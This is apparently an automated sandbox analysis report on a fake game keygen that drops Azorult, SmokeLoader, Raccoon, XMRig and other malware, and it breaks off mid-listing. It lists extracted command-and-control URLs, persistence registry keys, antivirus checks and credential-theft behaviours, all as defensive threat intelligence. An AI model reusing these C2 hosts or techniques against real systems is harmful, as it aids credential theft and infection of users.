Analysis
-
max time kernel
1046s -
max time network
1802s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04-04-2021 18:22
Static task
static1
Behavioral task
behavioral1
Sample
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
Resource
win7v20201028
General
-
Target
Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe
-
Size
5.2MB
-
MD5
c9d0760f5504d9e8ce237543fc4e7562
-
SHA1
12dac9b23d9f95b9647767e15a265a73380ad50b
-
SHA256
2519f6e84956fd35aaf7aa0ac51c2ce4cd8fddc973933936560ddb1efff6a16f
-
SHA512
28e06d8763858601484ec3675b5d0895712b616d69b36d4c584f32dfb56dfe9a7c26ad05dfda27efc2e9512c11d7dedcafd4d69d98baffdda8eb5af9ba99398a
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
raccoon
9420f36ff86e78bbb8ce4073fa910f921ce2bebf
-
url4cnc
https://tttttt.me/hobamantfr1
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Glupteba Payload 3 IoCs
resource yara_rule behavioral4/memory/5180-205-0x0000000002580000-0x0000000002E8A000-memory.dmp family_glupteba behavioral4/memory/5180-206-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral4/memory/5180-209-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4840 created 976 4840 WerFault.exe 339 -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 3488 created 5180 3488 svchost.exe 119 PID 3488 created 4120 3488 svchost.exe 211 PID 3488 created 3480 3488 svchost.exe 330 PID 3488 created 7216 3488 svchost.exe 380 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 8 IoCs
resource yara_rule behavioral4/memory/5220-170-0x00000001402CA898-mapping.dmp xmrig behavioral4/memory/5220-165-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/5220-215-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/5220-228-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/7784-1417-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/7784-1434-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/7340-1540-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/7340-1553-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Blocklisted process makes network request 7 IoCs
flow pid Process 121 5220 msiexec.exe 368 6884 MsiExec.exe 369 6884 MsiExec.exe 385 6884 MsiExec.exe 391 6884 MsiExec.exe 393 6884 MsiExec.exe 121 5220 msiexec.exe -
Drops file in Drivers directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Microsoft.exe File opened for modification C:\Windows\system32\drivers\etc\hosts ppppppfy.exe File opened for modification C:\Windows\system32\drivers\etc\hosts ppppppfy.exe File opened for modification C:\Windows\system32\drivers\etc\hosts Microsoft.exe File opened for modification C:\Windows\System32\drivers\SETBFD.tmp MsiExec.exe File created C:\Windows\System32\drivers\SETBFD.tmp MsiExec.exe File opened for modification C:\Windows\System32\drivers\tap0901.sys MsiExec.exe -
Executes dropped EXE 64 IoCs
pid Process 1412 keygen-pr.exe 1128 keygen-step-1.exe 2136 keygen-step-3.exe 3972 keygen-step-4.exe 1640 key.exe 2588 Setup.exe 4068 key.exe 640 multitimer.exe 2964 setups.exe 1572 setups.tmp 1608 askinstall20.exe 4584 WerFault.exe 4708 multitimer.exe 4772 Full_Version.exe 4884 file.exe 1220 vpn.tmp 4784 12DE.tmp.exe 3956 cpyrix.exe 420 qbdtl32ttzw.exe 5024 Setup3310.exe 4808 crj50hajxos.exe 1132 vict.exe 2968 2xvuwim2bcs.exe 5180 app.exe 5260 Setup3310.tmp 5276 vpn.exe 5300 2xvuwim2bcs.tmp 5336 vict.tmp 5416 vpn.tmp 5508 IBInstaller_97039.exe 5608 IBInstaller_97039.tmp 5904 md2_2efs.exe 2564 win1host.exe 3904 winlthsth.exe 5588 Setup.exe 5944 1.exe 4832 2.exe 3932 hjjgaa.exe 2464 RunWW.exe 5248 jg7_7wjg.exe 6104 LabPicV3.exe 5960 lylal220.exe 3548 22.exe 688 LabPicV3.tmp 5552 guihuali-game.exe 4964 WerFault.exe 5704 Three.exe 4624 lylal220.tmp 5188 0Jm5LQEyZe9W.exe 5304 jfiag3g_gg.exe 5328 Microsoft.exe 1612 jfiag3g_gg.exe 3292 ppppppfy.exe 3928 MicrosoftEdge.exe 4960 setups.exe 4724 setups.tmp 5928 tapinstall.exe 3172 1.exe 2380 1.exe 4744 2.exe 4348 svchost.exe 5216 irecord.exe 2472 irecord.tmp 5936 multitimer.exe -
Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation keygen-step-4.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation rutserv.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation 2.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation rutserv.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp -
Loads dropped DLL 64 IoCs
pid Process 1572 setups.tmp 1572 setups.tmp 1572 setups.tmp 1572 setups.tmp 1572 setups.tmp 1572 setups.tmp 1572 setups.tmp 5044 rundll32.exe 5260 Setup3310.tmp 5260 Setup3310.tmp 5300 2xvuwim2bcs.tmp 5336 vict.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5608 IBInstaller_97039.tmp 688 LabPicV3.tmp 4624 lylal220.tmp 4724 setups.tmp 4724 setups.tmp 4724 setups.tmp 4724 setups.tmp 4724 setups.tmp 4724 setups.tmp 4724 setups.tmp 2608 rundll32.exe 2352 rundll32.exe 3676 0legjeqcm4u.exe 5696 vict.tmp 4860 Setup3310.tmp 4860 Setup3310.tmp 1220 vpn.tmp 1220 vpn.tmp 1220 vpn.tmp 1220 vpn.tmp 4164 MsiExec.exe 4164 MsiExec.exe 4164 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 6652 client32.exe 6652 client32.exe 6652 client32.exe 6652 client32.exe 6652 client32.exe 6652 client32.exe 6884 MsiExec.exe 6884 MsiExec.exe 6884 MsiExec.exe 5068 mask_svc.exe 5068 mask_svc.exe 6868 backgroundTaskHost.exe 6884 MsiExec.exe 5068 mask_svc.exe 5068 mask_svc.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vpn.tmp Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\wwwupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\wwwupdat3.exe" vpn.tmp Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 5425564.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\achfypmwzlv = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\88IDWWMGQX\\multitimer.exe\" 1 3.1617560612.606a0424d5aac" WerFault.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\vwtdpgltark = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\C0A439EOTY\\multitimer.exe\" 1 3.1617560702.606a047e3929d" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Xufatylari.exe\"" Microsoft.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Xufatylari.exe\"" ppppppfy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\iv0mgwdnotv = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\H5BPFZVC45\\multitimer.exe\" 1 3.1617561550.606a07cecb5da" multitimer.exe -
Checks for any installed AV software in registry 1 TTPs 64 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg7_7wjg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg7_7wjg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md6_6ydj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md6_6ydj.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 0legjeqcm4u.exe File opened (read-only) \??\H: 0legjeqcm4u.exe File opened (read-only) \??\L: 0legjeqcm4u.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: 0legjeqcm4u.exe File opened (read-only) \??\B: 0legjeqcm4u.exe File opened (read-only) \??\G: 0legjeqcm4u.exe File opened (read-only) \??\J: 0legjeqcm4u.exe File opened (read-only) \??\S: 0legjeqcm4u.exe File opened (read-only) \??\X: 0legjeqcm4u.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: 0legjeqcm4u.exe File opened (read-only) \??\T: 0legjeqcm4u.exe File opened (read-only) \??\W: 0legjeqcm4u.exe File opened (read-only) \??\Z: 0legjeqcm4u.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: 0legjeqcm4u.exe File opened (read-only) \??\K: 0legjeqcm4u.exe File opened (read-only) \??\M: 0legjeqcm4u.exe File opened (read-only) \??\P: 0legjeqcm4u.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: 0legjeqcm4u.exe File opened (read-only) \??\N: 0legjeqcm4u.exe File opened (read-only) \??\O: 0legjeqcm4u.exe File opened (read-only) \??\R: 0legjeqcm4u.exe File opened (read-only) \??\U: 0legjeqcm4u.exe File opened (read-only) \??\Y: 0legjeqcm4u.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: 0legjeqcm4u.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 105 ipinfo.io 312 ipinfo.io 103 ipinfo.io 314 ipinfo.io 830 ipinfo.io 833 ipinfo.io 219 ip-api.com 1005 ipinfo.io 1048 ipinfo.io 350 ip-api.com 746 ipinfo.io 1141 ipinfo.io 1146 ipinfo.io 1173 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Drops file in System32 directory 24 IoCs
description ioc Process File created C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AA.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AC.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967} DrvInst.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\27U9BP80.cookie svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AA.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\oemvista.inf DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\27U9BP80.cookie svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AB.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AB.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{45303a37-4ce3-294a-97fd-2e594d186967}\SET4AC.tmp DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\A1K8DKP5.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent DFBD8BCCCA538539 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\A1K8DKP5.cookie svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 7120 mask_svc.exe 2544 mask_svc.exe 5068 mask_svc.exe -
Suspicious use of SetThreadContext 20 IoCs
description pid Process procid_target PID 1640 set thread context of 4068 1640 key.exe 89 PID 3260 set thread context of 4280 3260 svchost.exe 113 PID 1220 set thread context of 5220 1220 vpn.tmp 125 PID 1220 set thread context of 5500 1220 vpn.tmp 131 PID 5188 set thread context of 4140 5188 0Jm5LQEyZe9W.exe 178 PID 5944 set thread context of 2380 5944 1.exe 180 PID 4832 set thread context of 4744 4832 2.exe 183 PID 4336 set thread context of 6968 4336 5582727.exe 237 PID 6076 set thread context of 7164 6076 7652742.exe 240 PID 504 set thread context of 4256 504 1.exe 252 PID 1232 set thread context of 6344 1232 2.exe 255 PID 2432 set thread context of 4948 2432 svchost.exe 287 PID 2432 set thread context of 4136 2432 svchost.exe 296 PID 5488 set thread context of 7024 5488 0Jm5LQEyZe9W.exe 369 PID 376 set thread context of 7536 376 1.exe 372 PID 6440 set thread context of 8016 6440 2.exe 374 PID 3168 set thread context of 8000 3168 toolspab1.exe 411 PID 6480 set thread context of 7200 6480 toolspab1.exe 412 PID 3408 set thread context of 5956 3408 1.exe 427 PID 2868 set thread context of 7116 2868 2.exe 430 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\I-record\is-1DSKK.tmp irecord.tmp File created C:\Program Files (x86)\I-record\is-NV5RM.tmp irecord.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\d.jfm jg7_7wjg.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-C7DJN.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\unins000.msg vpn.tmp File created C:\Program Files (x86)\viewerise\is-P89V4.tmp vict.tmp File opened for modification C:\Program Files (x86)\I-record\swscale-2.dll irecord.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\d jg7_7wjg.exe File created C:\Program Files (x86)\MaskVPN\is-L9ALT.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-SRBE6.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Install engine 16\PPMd.dll IBInstaller_97039.tmp File created C:\Program Files\Windows Mail\BJTIHPYZWH\irecord.exe Microsoft.exe File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.dll vpn.tmp File created C:\Program Files (x86)\I-record\is-JDLO0.tmp irecord.tmp File opened for modification C:\Program Files\api-ms-win-crt-convert-l1-1-0.dll guihuali-game.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-FDO5M.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-3R1FA.tmp vpn.tmp File created C:\Program Files\api-ms-win-crt-runtime-l1-1-0.dll guihuali-game.exe File created C:\Program Files (x86)\I-record\is-PJFR9.tmp irecord.tmp File created C:\Program Files\unins0000.dll Full_Version.exe File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-3AA1J.tmp vpn.tmp File created C:\Program Files 